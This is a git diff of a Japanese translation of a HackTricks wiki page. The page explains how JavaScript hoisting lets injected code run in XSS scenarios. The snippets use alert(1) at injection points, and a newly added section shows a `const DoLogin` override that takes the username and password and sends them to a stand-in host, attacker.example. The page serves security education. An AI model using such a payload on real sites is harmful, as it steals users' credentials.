mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting
This commit is contained in:
parent
a3e50c8b24
commit
064082515a
File diff suppressed because it is too large
Load Diff
@ -4,29 +4,29 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
JavaScript言語では、**Hoisting**として知られるメカニズムがあり、変数、関数、クラス、またはインポートの宣言がコードが実行される前にそのスコープの先頭に概念的に持ち上げられます。このプロセスはJavaScriptエンジンによって自動的に実行され、スクリプトを複数回通過します。
|
||||
JavaScript には、変数、関数、class、または import の宣言がコード実行前にスコープの先頭に持ち上げられるという仕組み、**Hoisting** が存在します。この処理は JavaScript エンジンが自動的に行い、スクリプトを複数回のパスで処理します。
|
||||
|
||||
最初のパスでは、エンジンがコードを解析して構文エラーをチェックし、抽象構文木に変換します。このフェーズにはホイスティングが含まれ、特定の宣言が実行コンテキストの先頭に移動されるプロセスです。解析フェーズが成功すれば、構文エラーがないことを示し、スクリプトの実行が進行します。
|
||||
最初のパスでは、エンジンがコードをパースして構文エラーをチェックし、抽象構文木に変換します。この段階には hoisting が含まれ、特定の宣言が実行コンテキストの先頭に移されます。パース段階が成功し(構文エラーがないことが確認されれば)、スクリプトの実行が続行されます。
|
||||
|
||||
理解することが重要です:
|
||||
重要な点は以下です:
|
||||
|
||||
1. スクリプトは実行されるために構文エラーがない必要があります。構文ルールは厳密に守られなければなりません。
|
||||
2. スクリプト内のコードの配置はホイスティングのために実行に影響を与えますが、実行されるコードはそのテキスト表現とは異なる場合があります。
|
||||
1. 実行が行われるためにはスクリプトに構文エラーがあってはならない。構文ルールは厳密に守られる必要があります。
|
||||
2. hoisting によりスクリプト内のコード配置が実行結果に影響するため、実際に実行されるコードはテキスト上の表現と異なる場合があります。
|
||||
|
||||
#### ホイスティングの種類
|
||||
#### Types of Hoisting
|
||||
|
||||
MDNの情報に基づくと、JavaScriptには4つの異なるホイスティングの種類があります:
|
||||
MDN の情報によると、JavaScript には大きく分けて 4 種類の hoisting があります:
|
||||
|
||||
1. **値のホイスティング**:宣言行の前にそのスコープ内で変数の値を使用できるようにします。
|
||||
2. **宣言のホイスティング**:宣言前にそのスコープ内で変数を参照できるようにしますが、変数の値は`undefined`になります。
|
||||
3. このタイプは、実際の宣言行の前に変数の宣言があるため、そのスコープ内の動作を変更します。
|
||||
4. 宣言の副作用は、それを含む他のコードが評価される前に発生します。
|
||||
1. **Value Hoisting**: 宣言行より前にスコープ内で変数の値を使用できるようにする。
|
||||
2. **Declaration Hoisting**: スコープ内で宣言前に変数を参照しても `ReferenceError` を発生させず、ただし変数の値は `undefined` になる。
|
||||
3. このタイプは、実際の宣言行より前に変数が宣言されることによりスコープ内の挙動が変わる。
|
||||
4. 宣言の副作用が、それを含む他のコードが評価される前に発生する。
|
||||
|
||||
詳細には、関数宣言はタイプ1のホイスティング動作を示します。`var`キーワードはタイプ2の動作を示します。`let`、`const`、および`class`を含むレキシカル宣言はタイプ3の動作を示します。最後に、`import`文は、タイプ1とタイプ4の両方の動作でホイスティングされる点でユニークです。
|
||||
詳細では、function 宣言は type 1 の hoisting 挙動を示します。`var` キーワードは type 2 の挙動を示します。`let`、`const`、および `class` を含むレキシカル宣言は type 3 の挙動を示します。最後に、`import` 文は type 1 と type 4 の両方の挙動で hoist される点が特殊です。
|
||||
|
||||
## シナリオ
|
||||
|
||||
したがって、**未宣言のオブジェクト**が使用された後に**JSコードを注入できる**シナリオがある場合、宣言することで構文を**修正**できる(エラーを投げるのではなく、あなたのコードが実行されるように):
|
||||
したがって、未宣言のオブジェクトが使用された後に **Inject JS code after an undeclared object** できるような状況がある場合、宣言を追加して **fix the syntax** すれば(エラーを投げる代わりに)あなたのコードが実行されるようにできます:
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -68,7 +68,7 @@ alert(1);
|
||||
test.cookie("leo", "INJECTION")
|
||||
test[("cookie", "injection")]
|
||||
```
|
||||
## さらなるシナリオ
|
||||
## その他のシナリオ
|
||||
```javascript
|
||||
// Undeclared var accessing to an undeclared method
|
||||
x.y(1,INJECTION)
|
||||
@ -127,11 +127,31 @@ alert(1) -
|
||||
},
|
||||
})
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### constで名前をロックして後の宣言を先取りする
|
||||
|
||||
トップレベルの `function foo(){...}` がパースされる前に実行できる場合、同じ名前でレキシカル束縛(例: `const foo = ...`)を宣言すると、後でその関数宣言がその識別子に再バインドするのを防げます。これはRXSSで悪用され、ページ後半に定義された重要なハンドラを乗っ取るために使えます:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value)
|
||||
const user = Trim(FormInput.InputUtente.value)
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
|
||||
}
|
||||
|
||||
// Later, the legitimate page tries to declare:
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
注意事項
|
||||
- これは実行順序とグローバル(トップレベル)スコープに依存します。
|
||||
- ペイロードが `eval()` の内部で実行される場合、`eval` 内の `const/let` はブロックスコープでありグローバルバインディングを作成しないことに注意してください。真のグローバルな `const` を確立するには、そのコードを含む新しい `<script>` 要素を注入してください。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user